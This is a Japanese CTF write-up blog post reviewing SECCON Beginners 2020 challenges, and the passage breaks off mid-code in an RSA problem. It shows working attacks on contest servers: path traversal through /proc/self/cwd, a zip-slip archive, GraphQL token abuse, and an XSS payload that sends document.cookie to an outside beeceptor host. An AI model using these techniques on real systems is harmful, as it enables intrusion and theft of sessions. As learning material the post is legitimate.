好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

SECCON for Beginners CTF 2020 復習 [Misc], [Web], [Crypto]

2020/5/23 ~ 5/24 で開催された、SECCON Beginners CTF 2020 のMisc, Web, Crypto分野の復習メモです。大会終了後の問題サーバー稼働期間が 6/15(月)まで設けられているので、今からでもまだ間に合いますよ!
競技時間中に解いた問題のwrite-upはこちら。

kusuwada.hatenablog.com

[Reversing]はオフラインでも解けそうなので後回し、[Pwn]は良問すぎると噂に聞いているけど、時間がかかりそうなので後回し。

[Misc] emoemoencode [Easy]

Do you know emo-emo-encode?

emoemoencode.txt

emoemoencode.txtが配布されます。

🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽

絵文字だらけ!

githubで検索してみました。これかな?

github.com

いや、こっちっぽい。

github.com

rust環境が必要…。よっしゃinstallしたるで!ということで、下記記事を見ながらrustをささっとinstall,実行まで出来た。

qiita.com

良き良き。

…けど、ライブラリの依存エラーを解決できず。放置。絶対このライブラリ使うと思ってたんだけどなぁ…。時間だけめっちゃ使ってしまった。

競技後

ライブラリを使うのは諦めて、換字暗号っぽく解けないか見てみます。この場合、

ctf4b{xxxxx}のはずなので

  • 🍣 -> c
  • 🍴 -> t
  • 🍦 -> f
  • 🌴 -> 4
  • 🍢 -> b
  • 🍻 -> {
  • 🍽 -> }

試しに、🍣の utf32 code を見てみると、127843(10進数)。cは99。同様に🍴は127860,tは116
ここで差分を計算してみると、単純に絵文字の文字コードから127744を引くとflagになりそう。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

shift = 127744

with open('emoemoencode.txt','r') as f:
    emo = f.read().strip()

for c in emo:
    print(chr(ord(c)-shift),end='')

実行結果

$ python solve.py 
ctf4b{stegan0graphy_by_em000000ji}

あああああああぁぁ!これ一番好きな分野のやつじゃっん!(;▽;)ライブラリなんかに頼ろうとするからじゃ!(Crypto分野にあったら解けたかもしれん…と思ったけど、ただの負け惜しみ)

[Misc] readme [Easy]

readme

nc readme.quals.beginners.seccon.jp 9712

server.pyが配布されます。

#!/usr/bin/env python3
import os

assert os.path.isfile('/home/ctf/flag') # readme

if __name__ == '__main__':
    path = input("File: ")
    if not os.path.exists(path):
        exit("[-] File not found")
    if not os.path.isfile(path):
        exit("[-] Not a file")
    if '/' != path[0]:
        exit("[-] Use absolute path")
    if 'ctf' in path:
        exit("[-] Path not allowed")
    try:
        print(open(path, 'r').read())
    except:
        exit("[-] Permission denied")

どうやら/home/ctf/flagのpathを入れると読んで出力してくれそう。
でも、入力が

  • /で始まらないとダメ(絶対パスにしてくださいと怒られる)
  • ctfが入っているとダメ

ということで、条件が厳しい。逆に、これらのところでエラーが出たということは、ファイルにはたどり着いているということか。

$ nc readme.quals.beginners.seccon.jp 9712
File: ../flag
[-] Use absolute path
$ nc readme.quals.beginners.seccon.jp 9712
File: /home/ctf/flag
[-] Path not allowed

なので、相対パス絶対パスはこれであってそう。

/home/$USER/flag
/$HOME/flag
/$PWD/flag
/$PWD/../flag

などトライしてみたが、出てきません。ctfがpathに入ってるとNGなのが難しいなぁ…。

色々やってみたところ、こんな情報が取れました。

$ nc readme.quals.beginners.seccon.jp 9712
File: /etc/hosts
127.0.0.1   localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.21.0.2  b2a8444bdc32
$ nc readme.quals.beginners.seccon.jp 9712
File: /etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
...(中略)...
ctf:x:1000:1000:Linux User,,,:/home/ctf:/bin/ash

環境変数が確認出来たら、そこにctf階層へのエイリアスが設定されてたりする?環境変数はこんな感じで確認できそう。

/proc/{pid}/environ
/proc/$$/environ

うーん、出てこないなぁ。{pid}が知りたいけど、どうやって取るんじゃ…?

他、/proc/stat, /proc/meminfoなど、色んなsystem情報が取れました。が、flagが読めない…。ctf階層にどうやって行くのや…。

復習

ここで、作問者wirteup。

ptr-yudai.hatenablog.com

おー、この前のångstromCTFのLeetTubeでも使った、/proc/selfとかのコマンドをすっかり忘れてた…。

競技中がやりたかったのは

$ nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/environ
HOSTNAME=b2a8444bdc32PYTHON_PIP_VERSION=20.1SHLVL=1HOME=/home/ctfGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DPYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/1fe530e9e3d800be94e04f6428460fc4fb94f5a9/get-pip.pyPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8PYTHON_VERSION=3.7.7PWD=/home/ctf/serverPYTHON_GET_PIP_SHA256=ce486cddac44e99496a702aa5c06c5028414ef48fdfd5242cd2fe559b13d4348SOCAT_PID=5593SOCAT_PPID=1SOCAT_VERSION=1.7.3.3SOCAT_SOCKADDR=172.21.0.2SOCAT_SOCKPORT=9712SOCAT_PEERADDR=118.241.20.208SOCAT_PEERPORT=60690

おー、出た!でも結局、environ変数を$で展開できなかったのでこれは使えなかった。

Man page of PROC

こちらにも記載のある、/proc/[pid]/cwd を今回は使うと良かったらしい。

プロセスのカレントワーキングディレクトリへのシンボリックリンク。 例えば、プロセス 20 のカレントワーキングディレクトリを見つけるためには、 次のようにすればよい。

$ cd /proc/20/cwd; /bin/pwd

これで $PWD と同じ結果が。カレントワーキングディレクトリは、上記の環境変数の情報からも/home/ctf/serverのようです。/home/ctf/flagに行くためには、

/proc/self/cwd/../flag

入れてみましょう。

$ nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/cwd/../flag
ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}

へーへーへー!これはLeetTubeの復習のときに、もっと踏み込んで勉強しておくべきだったなぁ。

[Web] unzip [Easy]

Unzip Your .zip Archive Like a Pro.

https://unzip.quals.beginners.seccon.jp/

Hint:

  • index.php (sha1: 968357c7a82367eb1ad6c3a4e9a52a30eada2a7d)

index.phpがヒントとして配布されます。

<?php
error_reporting(0);
session_start();

// prepare the session
$user_dir = "/uploads/" . session_id();
if (!file_exists($user_dir))
    mkdir($user_dir);

if (!isset($_SESSION["files"]))
    $_SESSION["files"] = array();

// return file if filename parameter is passed
if (isset($_GET["filename"]) && is_string(($_GET["filename"]))) {
    if (in_array($_GET["filename"], $_SESSION["files"], TRUE)) {
        $filepath = $user_dir . "/" . $_GET["filename"];
        header("Content-Type: text/plain");
        echo file_get_contents($filepath);
        die();
    } else {
        echo "no such file";
        die();
    }
}

// process uploaded files
$target_file = $target_dir . basename($_FILES["file"]["name"]);
if (isset($_FILES["file"])) {
    // size check of uploaded file
    if ($_FILES["file"]["size"] > 1000) {
        echo "the size of uploaded file exceeds 1000 bytes.";
        die();
    }

    // try to open uploaded file as zip
    $zip = new ZipArchive;
    if ($zip->open($_FILES["file"]["tmp_name"]) !== TRUE) {
        echo "failed to open your zip.";
        die();
    }


    // check the size of unzipped files
    $extracted_zip_size = 0;
    for ($i = 0; $i < $zip->numFiles; $i++)
        $extracted_zip_size += $zip->statIndex($i)["size"];

    if ($extracted_zip_size > 1000) {
        echo "the total size of extracted files exceeds 1000 bytes.";
        die();
    }

    // extract
    $zip->extractTo($user_dir);

    // add files to $_SESSION["files"]
    for ($i = 0; $i < $zip->numFiles; $i++) {
        $s = $zip->statIndex($i);
        if (!in_array($s["name"], $_SESSION["files"], TRUE)) {
            $_SESSION["files"][] = $s["name"];
        }
    }

    $zip->close();
}
?>

<!DOCTYPE html>
<html>

<head>
    <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css">

    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title></title>
</head>

<body>
    <nav role="navigation">
        <div class="nav-wrapper container">
            <a id="logo-container" href="/" class="brand-logo">Unzip</a>
        </div>
    </nav>


    <div class="container">
        <br><br>
        <h1 class="header center teal-text text-lighten-2">Unzip</h1>
        <div class="row center">
            <h5 class="header col s12 light">
                Unzip Your .zip Archive Like a Pro
            </h5>
        </div>
    </div>
    </div>



    <div class="container">
        <div class="section">
            <h2>Upload</h2>
            <form method="post" enctype="multipart/form-data">
                <div class="file-field input-field">
                    <div class="btn">
                        <span>Select .zip to Upload</span>
                        <input type="file" name="file">
                    </div>
                    <div class="file-path-wrapper">
                        <input class="file-path validate" type="text">
                    </div>
                </div>
                <button class="btn waves-effect waves-light">
                    Submit
                    <i class="material-icons right">send</i>
                </button>
            </form>
        </div>
    </div>

    <div class="container">
        <div class="section">
            <h2>Files from Your Archive(s)</h2>
            <div class="collection">
                <?php foreach ($_SESSION["files"] as $filename) { ?>
                    <a href="/?filename=<?= urlencode($filename) ?>" class="collection-item"><?= htmlspecialchars($filename, ENT_QUOTES, "UTF-8") ?></a>
                <? } ?>
            </div>
        </div>
    </div>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script>
</body>

</html>

指定されたサイトのtopはこんな感じ。

f:id:kusuwada:20200527055430p:plain

どうやらzipファイルを送りつけるようです。1000 bytes以下じゃないと受け入れてもらえないので、1000バイト以下のファイルを作ると、uploadできました。

LFI(Local File Injection)かなぁ?と思って色々試してみたけど刺さらなかった。しょんぼり。
この前のångstromCTF 2020 Defund's Cryptが使えるかと思ったんだけどなぁ。

復習

競技後に流れてくるtweetから、どうやらpathに埋め込むタイプのようだと知る。なるほどね。zipを展開したときにpathも展開されるから、展開されたpathがflagを読むpathだと良いのか。
あと、競技中は余裕がなくてみていなかったけど、下記のdocker-compose.ymlがヒントとして追加されていたみたい。

version: "3"

services:
  nginx:
    build: ./docker/nginx
    ports:
      - "127.0.0.1:$APP_PORT:80"
    depends_on:
      - php-fpm
    volumes:
      - ./storage/logs/nginx:/var/log/nginx
      - ./public:/var/www/web
    environment:
      TZ: "Asia/Tokyo"
    restart: always

  php-fpm:
    build: ./docker/php-fpm
    env_file: .env
    working_dir: /var/www/web
    environment:
      TZ: "Asia/Tokyo"
    volumes:
      - ./public:/var/www/web
      - ./uploads:/uploads
      - ./flag.txt:/flag.txt
    restart: always

これから、flagファイルが ./flag.txtにあることがわかる。普通の名前をつけてuploadしたファイルは、./uploads/{session_id}/に上がるので、../../flag.txtがupload下がいるからflag.txtへの相対パス。zipを展開したときにファイルパスがこうなるようにzipの中身を書き換えてあげれば良い。

カレントディレクトリから2文字(書き換えやすいように)のディレクトリを2階層文作成し、そこにflag.txtを配置。これをzipして後からpathをバイナリエディタなどで書き換える。

$ mkdir -p aa/aa
$ vi aa/aa/flag.txt
$ zip attack.zip ./aa/aa/flag.txt 

バイナリエディタで開き、aa/aa -> ../../に書き換え。attack.zipを送り込んで開いてみるとflagが表示されました!

f:id:kusuwada:20200527061522p:plain

これもそんなに難しくない問題だったんだなぁ…。解けなかったけど。

[Web] profiler [Medium]

Let's edit your profile with profiler!

Hint : You don't need to deobfuscate *.js

指定されたurlにアクセスしてみます。

f:id:kusuwada:20200527063039p:plain

Register, Login機能があるサイトのようです。
競技中に目を通した時は、このページにしかアクセスできずRegisterすると落ちていたので手を付けていませんでした。

復習

上記、Registerに成功すると

Registered successfully. Your token is 0d226bae78b31f53c9a799f80ffd3df0985d9a697291dfaba245a6689c2add3b. Don't lose it!

みたいな文言が。cookieにも保存されていないので、覚えておきます。

Loginするとこんなメニュー。

f:id:kusuwada:20200527064305p:plain

新しいプロフィールを先程のtokenとともにセットすると、プロフィールが書き換わって新しいプロフィールが表示されます。

お、Get Flagあるじゃん!とポチってみると

Sorry, your token is not administrator's one. This page is only for administrator(uid: admin).

だそうです。

profile書き換えのところに何かヒントがないかと、XSS, SSTIなどを試してみますが刺さりません。

今回はソースは配布されていないので、通信を見てみます。

f:id:kusuwada:20200527065612p:plain

f:id:kusuwada:20200527065614p:plain

request dataはこんな感じ。

data: {me: {name: "kusuwada", profile: "{{config.info}}", uid: "kusuwada"}}

responseはこんな感じ。

{"data":{"me":{"name":"kusuwada","profile":"{{config.info}}","uid":"kusuwada"}}}

特にrequestのほうが、あまり見たことない形式です…。
競技後のtwitter情報でGraphQLに関する問題が出たらしいというのと、最近開発運用系の勉強会やMeetupでもちょいちょい出てくるGraphQLが、こんな感じのreq/resだというのを思い出しました。CTFで見かけるのははじめてです。

通信を見ると、他にも結構長いall.jsや、難読化されてるprofile.jsが見つかります。これは見たくないなぁ…。

ということで早速作問者writeupを見てみます。

szarny.hatenablog.com

やはりGraphQLの問題だったみたい。curlコマンドで投げることもできるけど、せっかくなので紹介されていたツール(GraphQL Playground)を導入。スタンドアロン型のほう。

www.electronjs.org

もう一つ候補だったGraphiQLより、できることが多そう。

立ち上げて、今回GraphQLのendpointと思われる/apiをendpointに設定してworkspaceを開始します。
開いた途端、Headerにtokenの設定も何もしていない状態で、右のSCHEMAタブからAPIスキーマが確認できました🙌 これは便利。

f:id:kusuwada:20200527154021p:plain

これがGraphQLの特徴の一つ、イントロスペクション(Introspection)だそうです。ちゃちゃっとGraphQLについて調べたい時、ササッと読みやすかった記事。

GraphQLについて再入門 | 69log

Introspection

ざっくりGraphQLがどのようなクエリやフィールドをサポートしているのかを問合る機能。

SchemaTypeTypeKindFieldnputValueEnumValueDirective アンダースコア()で始まるこれらはすべてイントロスペクションを表す。内部の情報をクエリ経由で参照できる。つまりそのgraphqlサービスが提供するすべてを知ることができる。

仕組みの概念はこちら

www.redhat.com

基本的にはqueryが REST の READ, 情報を取るときの操作のイメージで、mutationがその他 CREATE, UPDATE ,DELETE を担う形のようです。

先程のツールのDocsタブを確認すると、

f:id:kusuwada:20200527172946p:plain

queryme,someone,flagmutationupdateProfile,updateTokenが定義されていることがわかります。ブラウザから確認できなかった機能のsomeone,updateTokenと、GetFlagのときのエラーメッセージから、adminのtokenを入手、これで自分のtokenを書き換えてflag queryを呼んだら良さそうなことがイメージできます。

まずは自分のプロフィールをとって来てみます。

※アプリ上ではerrorになってresponseが表示されなかった。curlコマンドコピー機能でコピーして、投げたら行けた。

まずは、下の方のメニューのHTTP HEADERSタブから、Cookieにsessionを登録します。

{"Cookie": "session={ブラウザの開発者ツールなどから取得したsessionの値}"}

GraphQL playgroundで作成したクエリ

query{
  me {
    uid
    name
    profile
  }
}

"COPY CURL"機能でコピーしたコマンド。と実行結果。

$ curl 'https://profiler.quals.beginners.seccon.jp/api' -H 'Accept-Encoding: gzip, deflate, br' -H 'Content-Type: application/json' -H 'Accept: application/json' -H 'Connection: keep-alive' -H 'DNT: 1' -H 'Origin: file://' -H 'Cookie: session={セッション}' -H 'content-type: application/json' --data-binary '{"query":"query {\n  me {\n    uid\n    name\n    profile\n  }\n}\n"}' --compressed
{"data":{"me":{"name":"kusuwada","profile":"hello!","uid":"kusuwada"}}}

取れた!

次は、someoneadminが取れないか試してみます。自分のuidkusuwadaになっていたので、adminのuidadminだと良いなぁ。

f:id:kusuwada:20200527235114p:plain

返ってきた!

次はupdateTokenを呼んでみます。今回もアプリ上ではresponseがerrorになってしまって表示されなかったので、"COPY CURL"機能でコピーしたやつを実行。

mutation{
  updateToken(token: "743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b")
}

curl実行結果

$ curl 'https://profiler.quals.beginners.seccon.jp/api' -H 'Accept-Encoding: gzip, deflate, br' -H 'Content-Type: application/json' -H 'Accept: application/json' -H 'Connection: keep-alive' -H 'DNT: 1' -H 'Origin: file://' -H 'Cookie: session=eyJ1aWQiOiJrdXN1d2FkYTIifQ.Xs6CYA.JEGTD7uXSFQJZTweNs0vYRI8yes' -H 'content-type: application/json' --data-binary '{"query":"mutation{\n  updateToken(token: \"743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b\")\n}"}' --compressed
{"data":{"updateToken":true}}

オッ!成功しました。おそらく子供のお風呂や寝かしつけを挟んだためタイムアウトしたんだと思いますが、途中何度も failed になってしまったので出来ないかと思った…。

tokenの書き換えに成功したっぽいので、ブラウザに戻って Get FLAG ボタンをポチッと。
flagが表示されました🍻

f:id:kusuwada:20200528001240p:plain

You don't need to deobfuscate *.jsのヒントはとても嬉しいなぁ。時間がかかる余計なことをしなくてすむ。

[Web] Somen [Hard]

Somen is tasty.

Hint:

  • worker.js (sha1: 47c8e9c879e2a2fb2e5435f2d0fcfaa274671f43)
  • index.php (sha1: dffac56c2435b529e1bb60c6f71803aded2051af)

そうめん?前回ラーメンだったから、今度は素麺?
ヒントとして、worker.jsindex.phpが配布されます。

const puppeteer = require('puppeteer');

/* ... ... */

// initialize
const browser = await puppeteer.launch({
    executablePath: 'google-chrome-unstable',
    headless: true,
    args: [
        '--no-sandbox',
        '--disable-background-networking',
        '--disk-cache-dir=/dev/null',
        '--disable-default-apps',
        '--disable-extensions',
        '--disable-gpu',
        '--disable-sync',
        '--disable-translate',
        '--hide-scrollbars',
        '--metrics-recording-only',
        '--mute-audio',
        '--no-first-run',
        '--safebrowsing-disable-auto-update',
    ],
});
const page = await browser.newPage();

// set cookie
await page.setCookie({
    name: 'flag',
    value: process.env.FLAG,
    domain: process.env.DOMAIN,
    expires: Date.now() / 1000 + 10,
});

// access
// username is the input value of players
const url = `https://somen.quals.beginners.seccon.jp/?username=${encodeURIComponent(username)}`;
try {
    await page.goto(url, {
        waitUntil: 'networkidle0',
        timeout: 5000,
    });
} catch (err) {
    console.log(err);
}

// finalize
await page.close();
await browser.close();

/* ... ... */
<?php
$nonce = base64_encode(random_bytes(20));
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='");
?>

<head>
    <title>Best somen for <?= isset($_GET["username"]) ? $_GET["username"] : "You" ?></title>

    <script src="/security.js" integrity="sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A="></script>
    <script nonce="<?= $nonce ?>">
        const choice = l => l[Math.floor(Math.random() * l.length)];

        window.onload = () => {
            const username = new URL(location).searchParams.get("username");
            const adjective = choice(["Nagashi", "Hiyashi"]);
            if (username !== null)
                document.getElementById("message").innerHTML = `${username}, I recommend ${adjective} somen for you.`;
        }
    </script>
</head>

<body>
    <h1>Best somen for You</h1>

    <p>Please input your name. You can use only alphabets and digits.</p>
    <p>This page works fine with latest Google Chrome / Chromium. We won't support other browsers :P</p>
    <p id="message"></p>
    <form action="/" method="GET">
        <input type="text" name="username" place="Your name"></input>
        <button type="submit">Ask</button>
    </form>
    <hr>

    <p> If your name causes suspicious behavior, please tell me that from the following form. Admin will acceess /?username=${encodeURIComponent(your input)} and see what happens.</p>
    <form action="/inquiry" method="POST">
        <input type="text" name="username" place="Your name"></input>
        <button type="submit">Ask</button>
    </form>

</body>

ちなみに、このソースから存在がわかるsecurity.js

console.log('!! security.js !!');
const username = new URL(location).searchParams.get("username");
if (username !== null && ! /^[a-zA-Z0-9]*$/.test(username)) {
    document.location = "/error.php";
}

指定されたurlに飛ぶとこんなページ。

f:id:kusuwada:20200528004819p:plain

試しにtestを入れてみると、

test, I recommend Nagashi somen for you.

というリコメンドが出た。urlは?username=test

試しに今度は'だけ入力してみると、/error.phpに飛び、Are you human? :-) の文が流れてくるページに。(流しそうめんだけに…?)

If your name causes suspicious behavior, please tell me that from the following form. Admin will acceess /?username=${encodeURIComponent(your input)} and see what happens.

ここ怪しい。

こっちにさっきの'を入れてみると、/inquiryに飛び、 Okay! I got it :-) とテキストが表示されました。

worker.jsを見てみると、上で入力したところに訪れてくれるadminは、setCookie関数でflagというcookieをセットしているみたいです。このあと、https://somen.quals.beginners.seccon.jp/?username=${encodeURIComponent(username)}にアクセスしてきてくれるそうなので、自分の用意したエンドポイントにきてcookieを吐いてくれると嬉しいなぁ。

試しに、javascriptスキームを突っ込んでみた

javascript: window.location = "{用意したエンドポイント}";

ら、エラーページに飛ばされた。
security.jsの制約により[a-z,0-9]しかusernameには使えない制約があるので、それはそう。
あと、Content-Security-Policy:の設定もあるので、CSP回避も考えなくては。

CSP回避については、過去にもやったときに使った、CSPの検証をしつつ脆弱なところを教えてくれる下記サイトに突っ込んで調べてもらいます。

CSP Evaluator

f:id:kusuwada:20200528070504p:plain

フム。赤くなってる High security finding なところは、base-url [missing] とのこと。

Missing base-uri allows the injection of base tags. They can be used to set the base URL for all relative (script) URLs to an attacker controlled domain. Can you set it to 'none' or 'self'?

ほほう?baseが設定されていないので、攻撃者に設定されると相対パスで指定しているようなソースは攻撃者が任意のものに設定できる感じなのかな。

入力値チェックに使われているsecurity.jsは下記のように相対パスで参照されているので、baseが書き換わると参照先も書き換えor無効にできそう。

<script src="/security.js" integrity="sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A="></script>

試しに、usernameに下記を突っ込んでみました。

<base href="http://example.com">

うーん、error pageに飛ばされる🤔 curlコマンドで送ってみます。

$ curl -X POST "https://somen.quals.beginners.seccon.jp/?username=<base href="http://example.com">"
~~(略)~~
 <title>Best somen for <base href=http://example.com></title>

    <script src="/security.js" integrity="sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A="></script>
~~(略)~~

お、titleのところがinjectionできるのか。

今度はまたブラウザフォームから、

</title><base href="http://example.com">

を送ってみると、今度はerrorページには飛びませんでした!かわりに、こんな文言が表示。

, I recommend Hiyashi somen for you.

usernameのところは空になっています。これはきっとsecurity.js読み込みを回避できたに違いない!

とこの辺でタイムアップ。

復習

作問者writeupをカンニング

diary.shift-js.info

他、色んな人が色んな解き方をしていて参考になった。

まずは情報の整理。

方針

  • adminに自分の用意したエンドポイントに来てcookieを吐いてもらう。

突破しなければならない防御

  • CSP (Contents Security Policy)
  • security.js による username チェック ([a-z,0-9]のみ)

脆弱な部分

  • <title> 部分に user 入力をそのまま突っ込んでいる
  • document.getElementById("message").innerHTMLの部分にも任意コードが挿入可能
    • ※ただし、このときの入力はsecurity.jsのチェック後
  • base tag を攻撃者が設定すると、baseを書き換え可能(使わなくても解ける)

security.js の実行回避

まず、やっぱりこれがあっては無理、ということでsecurity.jsの回避方法。security.jsより前にある脆弱部分<title>タグのところに仕込む。

先程の

</title><base href="http://example.com">

でも正解。

もう一つ、base tagを使わない解き方は、単純に<script>タグを勝手に始めてしまって、scriptタグを破壊する、もしくはずっと文字列が続いていると思わせる作戦。

破壊

</title><script>

文字列と思わせる

</title><script x="

imgタグを使ってみる

</title><img src="

これらは、次の</script>タグまで有効なので、その後の処理は破壊されません。

攻撃コードの埋め込み

CSPで設定されているのはこちら。

* default-src 'none';
* script-src 'nonce-${nonce}' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='

他の方のwriteupによると

strict-dynamicが設定されている場合、「すでに信頼されている Javascript が生成した Javascript コード」は実行されるらしい。

前も見た気がする、この記事に詳しく書かれている。

Content Security Policy Level 3におけるXSS対策 - pixiv inside

Content Security Policy Level 3 > nonce + strict-dynamic

  • nonceによるscriptの実行制御が強制される (script-srcドメインホワイトリストを書いても無視される)
  • nonceにより実行を許可されたscriptから動的に生成された別のscriptも実行が許可されるようになる

今回の場合は、innerHTMLの箇所

document.getElementById("message").innerHTML = `${username}, I recommend ${adjective} somen for you.`;

は、その数段上に書いてあるとおり nonce によって実行が許可されたインラインスクリプトなので、ここで生成されたスクリプトも実行が許可されます。

このコードはid="message"となっているタグの中身を書き換えるものであるので<script id="message">を事前に挿入しておき、innerHTML によって<script id="message">内で Javascript を展開して実行することができます

なるほど!

でもさっきの security.js 読み込みの回避も、今回のも username に埋め込むなら、どうやってやるの?と思っていたら、

また<script id="message">内で Javascript が展開された時に邪魔になるコードをコメントアウトすると

ほうほう!

alert()//</title><script id="message"></script><base href="http://example.com">

コメントアウトでつなげて、アラートを発生させてみます。これをブラウザから入力してAskしてみると…

f:id:kusuwada:20200528162326p:plain

alertが表示されました!やったー!

あとは、cookieを見てもらうように設定するだけ。

location.href="https://kusuwada.free.beeceptor.com/?"+document.cookie//</title><script id="message"></script><base href="http://example.com">

f:id:kusuwada:20200528163122p:plain

来たー!

今回の問題は、ここにほとんど書かれていたようです。

XSS Challenge (セキュリティ・ミニキャンプ in 岡山 2018 演習コンテンツ) Writeup - Szarny.io

ってこれは他のWeb問の出題者の tsubasa さんのブログですね。この問題の作問者は、今回と同じ つばめ さんでした。納得。

[Crypto] Noisy equations [Easy]

noise hides flag.

nc noisy-equations.quals.beginners.seccon.jp 3000

noisy-equations.zip

problem.pyが配布されます。

from os import getenv
from time import time
from random import getrandbits, seed


FLAG = getenv("FLAG").encode()
SEED = getenv("SEED").encode()

L = 256
N = len(FLAG)


def dot(A, B):
    assert len(A) == len(B)
    return sum([a * b for a, b in zip(A, B)])

coeffs = [[getrandbits(L) for _ in range(N)] for _ in range(N)]

seed(SEED)

answers = [dot(coeff, FLAG) + getrandbits(L) for coeff in coeffs]

print(coeffs)
print(answers)

ランダムに毎回生成される、flag長と同じ長さのcoeffs(係数)に対して、

answer = dot(coeff, FLAG) + getrandbits(L)

のリストが計算されて返ってきます。
answerを計算するときに使っているseedは、環境変数に設定されている固定のSEEDを使っているので、この時追加されるノイズのgetrandbits(L)は、毎回同じものが生成されるはず。
最後に追加されるgetrandbits(L)の値をnoise[]と表現すると、

coeff[0][0] * FLAG[0] + coeff[0][1] * FLAG[1] + ... + coeff[0][43] * FLAG[43] + noise[0] = answer[0]
coeff[1][0] * FLAG[0] + coeff[1][1] * FLAG[1] + ... + coeff[1][43] * FLAG[43] + noise[1] = answer[1]
...

となります。ここで既知なのはcoeff,answer、何度とってきても変わらないのがFLAG,noiseFLAGの先頭はctf4b{であることが予想できます。
となると、2回 coeff, answer を取得すると、answer_1 - answer_2 をすることで、noiseが消えてくれそう。

answer_1[n] - answer_2[n]
    = FLAG[0] * (coeff_1[n][0] - coeff_2[n][0]) + 
      FLAG[1] * (coeff_1[n][1] - coeff_2[n][1]) + 
      ...

となると、後は既知の値と欲しい値FLAGだけ残った方程式になるので解けそう!
までわかったものの、ここからどうして良いかわからず試合終了。もうちょっと時間が欲しかったなぁ。

復習

これ、なんか見たことあるんだよなーと思ってたら、去年のBeginner's CTFの [Crypto] Party で似た問題が出ていた…。復習したつもりだったのに忘れてた(꒪⌓꒪)

が、この時参考にした数式は式3つまで。今回はflagの文字長、44文字分あります。
素直に他の方のwriteupをカンニングして、効率の良い解き方を教わることにします。

数式で解説してあってとてもわかりやすい。上記の式は

f:id:kusuwada:20200605152700p:plain

の行列計算になっており、flagを求める事ができればOK。c_diff逆行列を求め、これをa*inv(c_diff)してあげるとflagが求まる。

これは、numpyの機能を使うと、下記のようにチャッと書ける。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
import numpy as np
from numpy.linalg import inv

host = 'noisy-equations.quals.beginners.seccon.jp'
port = 3000

def fetch_values():
    r = remote(host, port)
    coeffs = np.matrix(eval(r.recvline()), dtype = 'float')
    answers = np.array(eval(r.recvline()), dtype = 'float')
    return coeffs, answers

c1, a1 = fetch_values()
c2, a2 = fetch_values()

a_diff = a1 - a2
c_diff = c1 - c2

inv_c = inv(c_diff)
flag = inv_c.dot(a_diff)

for i in range(flag.size):
    print(chr(int(round(flag[0,i]))),end='')
print()

実行結果

$ python solve.py
[+] Opening connection to noisy-equations.quals.beginners.seccon.jp on port 3000: Done[+] Opening connection to noisy-equations.quals.beginners.seccon.jp on port 3000: Donectf4b{r4nd0m_533d_15_n3c3554ry_f0r_53cur17y}
[*] Closed connection to noisy-equations.quals.beginners.seccon.jp port 3000
[*] Closed connection to noisy-equations.quals.beginners.seccon.jp port 3000

まず降ってくる行列の文字列を行列に格納するところから悪戦苦闘していた。eval使えば一発だった…。

[Crypto] RSA Calc [Medium]

F(1337)=FLAG!

nc rsacalc.quals.beginners.seccon.jp 10001

rsacalc.zip

server.pyが配布されます。

from Crypto.Util.number import *
from params import p, q, flag
import binascii
import sys
import signal


N = p * q
e = 65537
d = inverse(e, (p-1)*(q-1))


def input(prompt=''):
    sys.stdout.write(prompt)
    sys.stdout.flush()
    return sys.stdin.buffer.readline().strip()

def menu():
    sys.stdout.write('''----------
1) Sign
2) Exec
3) Exit
''')
    try:
        sys.stdout.write('> ')
        sys.stdout.flush()
        return int(sys.stdin.readline().strip())
    except:
        return 3


def cmd_sign():
    data = input('data> ')
    if len(data) > 256:
        sys.stdout.write('Too long\n')
        return

    if b'F' in data or b'1337' in data:
        sys.stdout.write('Error\n')
        return

    signature = pow(bytes_to_long(data), d, N)
    sys.stdout.write('Signature: {}\n'.format(binascii.hexlify(long_to_bytes(signature)).decode()))

def cmd_exec():
    data = input('data> ')
    signature = int(input('signature> '), 16)

    if signature < 0 or signature >= N:
        sys.stdout.write('Invalid signature\n')
        return

    check = long_to_bytes(pow(signature, e, N))
    if data != check:
        sys.stdout.write('Invalid signature\n')
        return

    chunks = data.split(b',')
    stack = []
    for c in chunks:
        if c == b'+':
            stack.append(stack.pop() + stack.pop())
        elif c == b'-':
            stack.append(stack.pop() - stack.pop())
        elif c == b'*':
            stack.append(stack.pop() * stack.pop())
        elif c == b'/':
            stack.append(stack.pop() / stack.pop())
        elif c == b'F':
            val = stack.pop()
            if val == 1337:
                sys.stdout.write(flag + '\n')
        else:
            stack.append(int(c))

    sys.stdout.write('Answer: {}\n'.format(int(stack.pop())))


def main():
    sys.stdout.write('N: {}\n'.format(N))
    while True:
        try:
